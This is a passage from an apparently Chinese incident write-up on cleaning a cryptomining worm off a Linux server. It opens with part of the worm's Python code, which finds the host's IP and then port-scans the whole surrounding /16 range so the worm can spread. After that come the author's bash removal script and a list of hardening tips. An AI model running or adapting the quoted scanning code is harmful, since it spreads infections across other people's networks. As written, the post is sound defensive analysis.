staticmethod(newthread) def get_ip_list () : try : url = 'ident.me' conn = httplib.HTTPConnection(url, port=80 , timeout=10 ) conn.request(method='GET' , url='/' , ) result = conn.getresponse() ip1 = result.read() ips1 = findall(r'\d+.\d+.' , ip1)[0 ] for u in range(0 , 256 ): ip_list1 = (ips1 + (str(u))) for g in range(1 , 256 ): IP_LIST.append(ip_list1 + '.' + (str(g))) except Exception: ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"" ).readline().rstrip() ips2 = findall(r'\d+.\d+.' , ip2)[0 ] for i in range(0 , 255 ): ip_list2 = (ips2 + (str(i))) for g in range(1 , 255 ): IP_LIST.append(ip_list2 + '.' + (str(g))) pass def runPortscan () : get_ip_list() for host in IP_LIST: scanner.lck.acquire() if len(scanner.tlist) >= scanner.maxthreads: scanner.lck.release() scanner.evnt.wait() else : scanner.lck.release() scanner.newthread(host) for t in scanner.tlist: t.join() if __name__ == "__main__" : runPortscan()
彻底查杀病毒! 前面已经分析了他的几个脚本,既然脚本有了,那么清除也就变的简单了,我写成了脚本,如下:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # !/bin/bash# 文件备份目录backDir=~/virus [ ! -e $backDir ] && echo "创建备份目录: $backDir "&& mkdir $backDir echo "脚本会将文件备份至 $backDir 目录" function deleteFile(){ for i in /etc/init.d/netdns /opt/yilu /usr/bin/bsd-port /var/tmp /etc/ld.so.preload /tmp/kworkerds /usr/local/bin/dns /usr/sbin/netdns /var/spool/cron/crontabs/root /var/spool/cron/roo /var/tmp/config.json /usr/local/lib/libntpd.so /bin/netstat /etc/cron.daily/oanacroner /etc/cron.d/apache /etc/cron.d/root /etc/cron.d/system /etc/cron.hourly/oanacroner /etc/cron.monthly/oanacroner do if [ -e $i ] ;then # chattr 因为会被病毒脚本调用所以我移走了 ~/bin/chattr -ia $i cp -a $i $backDir/ [ -f $i ]&& echo >$i echo "清除$i文件" rm -rf $i else echo "$i 文件不存在" fi done } chkconfig netdns off deleteFile mv ~/.ssh/authorized_keys $backDir/ echo "如果有redis或activeMQ请手动备份清除redis或activeMQ内的数据!"
基本告一段落了,应该不会在复发了,如果在复发那只能备份数据,然后重新安装系统了,其实最安装的方法还是重新安装系统,因为那些二进制文件中有没有埋雷这个真不好说。
总结 系统安全很重要!尤其带公网ip的服务器,我根据这次的教训总结以下几点,有问题或补充的欢迎指正。
默认端口配置!任何服务最好不要使用默认端口,比如本次事故中的sshd,redis
服务如果不是特殊原因为一定要绑定ip,不要以0.0.0.0的方式启动
如果是带有公网ip的服务器,防火墙一定要开!只开放对应的端口出去即可,不然会很惨
禁止root用户远程登陆,不解释
监控一定要做好,例如此次事故中被强行破解密码,load负载过高的情况都是可以提前预知的。
不要用弱口令密码!我服务器密码是18位随机生成并且区分大小写的,还被强行破解了,可想而知弱口令密码可能分分钟就凉了